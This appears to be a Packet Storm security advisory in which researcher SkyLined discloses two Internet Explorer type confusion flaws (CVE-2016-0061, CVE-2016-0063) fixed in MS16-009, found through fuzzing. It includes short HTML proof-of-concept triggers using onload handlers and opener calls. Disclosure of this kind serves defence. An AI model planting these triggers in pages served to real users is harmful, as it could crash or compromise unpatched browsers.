Microsoft Internet Explorer Type Confusion

2016-02-13T00:00:00
ID PACKETSTORM:135764
Type packetstorm
Reporter SkyLined
Modified 2016-02-13T00:00:00

Description

                                        
                                            `Hello everyone,  
  
I've recently released examples on twitter of how to trigger two  
security vulnerabilities in Microsoft Internet Explorer. These issue  
were discovered last year and reported to Microsoft through ZDI.  
Microsoft release security updates to address these issues last Tuesday.  
  
======  
  
CVE-2016-0061:  
https://twitter.com/berendjanwever/status/697819335574843394  
  
MSHTML Form element id type confusion CVE-2016-0061 ZDI-16-162 MS16-009  
  
<meta http-equiv=X-UA-Compatible content=IE=7><form id="䅁䅁"><body onload=opener?opener["\u4141\u4141"]():open("?")>  
  
======  
  
CVE-2016-0063:  
https://twitter.com/berendjanwever/status/697818121835581441  
  
DOMImplementation method type confusion CVE-2016-0063 ZDI-16-166 MS16-009   
  
<body onload=open("2.html")> (part 1/2)  
<meta http-equiv=X-UA-Compatible content=IE=11><body onload=x=opener.DOMImplementation(0).prototype.isPrototypeOf;x()> (part 2/2)  
  
======  
  
Both were found through fuzzing inspired by Michal Zalewski's cross_fuzz  
http://lcamtuf.blogspot.nl/2011/01/announcing-crossfuzz-potential-0-day-in.html  
  
Cheers,  
  
SkyLined  
`